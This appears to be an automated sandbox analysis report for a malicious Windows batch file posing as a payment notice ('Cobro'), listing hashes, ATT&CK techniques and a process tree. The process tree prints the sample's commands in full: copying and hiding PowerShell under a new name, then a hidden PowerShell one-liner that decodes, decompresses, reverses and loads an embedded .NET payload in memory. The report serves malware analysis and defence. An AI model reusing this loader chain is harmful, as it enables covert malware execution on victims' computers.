2d7f235edfdbb770492b966fbefe50b3f98bf5dd8b4427ca7ac06f45ce019d97

General

Target

Cobro_876634226701191038128011582367096095686646340584195296708193218.bat
Size

1.8MB
MD5

1698e898da21c028d3bfc61cbf0904aa
SHA1

acd1043cec76eacee19eb78b37b4a0624bc350f3
SHA256

075e65d20779e5ffdbe58f96c3639d6a6db830c41e100e68e0d45361ee2cc099
SHA512

466baec151eb73eeebe4b92a15b0046035019d19da9a7236d5d5e409ed61dd95469aed729eeb37eaab0bf905d5360bffd0b83975c3f5709888e10dd4ff401f61
SSDEEP

24576:Gyc27ntMASfw1Tr0s3OoF3A+HcA0uuSpYFIgu9k/gnJyi2QvqxspBVskiXLf5:dtwQYs+M3N8A0ud79yS92QvqNt

Score

8^/10

discovery evasion

Malware Config

Signatures

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2824	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
2712	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2712	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2712	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2712	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2668 wrote to memory of 2716	2668	cmd.exe	32
PID 2668 wrote to memory of 2716	2668	cmd.exe	32
PID 2668 wrote to memory of 2716	2668	cmd.exe	32
PID 2668 wrote to memory of 2764	2668	cmd.exe	33
PID 2668 wrote to memory of 2764	2668	cmd.exe	33
PID 2668 wrote to memory of 2764	2668	cmd.exe	33
PID 2668 wrote to memory of 2768	2668	cmd.exe	34
PID 2668 wrote to memory of 2768	2668	cmd.exe	34
PID 2668 wrote to memory of 2768	2668	cmd.exe	34
PID 2668 wrote to memory of 2824	2668	cmd.exe	35
PID 2668 wrote to memory of 2824	2668	cmd.exe	35
PID 2668 wrote to memory of 2824	2668	cmd.exe	35
PID 2668 wrote to memory of 2712	2668	cmd.exe	36
PID 2668 wrote to memory of 2712	2668	cmd.exe	36
PID 2668 wrote to memory of 2712	2668	cmd.exe	36
PID 2668 wrote to memory of 2712	2668	cmd.exe	36

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2824	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Cobro_876634226701191038128011582367096095686646340584195296708193218.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2668
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:2764
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow
  2⤵
  PID:2768
- C:\Windows\system32\attrib.exe
  attrib +s +h C:\Users\Admin\AppData\Local\Temp\Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:2824
- C:\Users\Admin\AppData\Local\Temp\Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow
  C:\Users\Admin\AppData\Local\Temp\Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow -WindowStyle hidden -command "$Amwfvap = get-content 'C:\Users\Admin\AppData\Local\Temp\Cobro_876634226701191038128011582367096095686646340584195296708193218.bat' | Select-Object -Last 1; $Lahapqm = [System.Convert]::FromBase64String($Amwfvap);$Wmhuprvc = New-Object System.IO.MemoryStream( , $Lahapqm );$Swwilmyw = New-Object System.IO.MemoryStream;$Haozxiw = New-Object System.IO.Compression.GzipStream $Wmhuprvc, ([IO.Compression.CompressionMode]::Decompress);$Haozxiw.CopyTo( $Swwilmyw );$Haozxiw.Close();$Wmhuprvc.Close();[byte[]] $Lahapqm = $Swwilmyw.ToArray();[Array]::Reverse($Lahapqm); $Uzzzux = [System.AppDomain]::CurrentDomain.Load($Lahapqm); $Xtqfmtdiwhr = $Uzzzux.EntryPoint; [System.Delegate]::CreateDelegate([Action], $Xtqfmtdiwhr.DeclaringType, $Xtqfmtdiwhr.Name).DynamicInvoke() | Out-Null"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

2

T1564

Hidden Files and Directories

2

T1564.001

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2712-5-0x0000000074021000-0x0000000074022000-memory.dmp

Filesize
4KB

Download
memory/2712-6-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download
memory/2712-7-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download
memory/2712-9-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download
memory/2712-8-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download
memory/2712-10-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads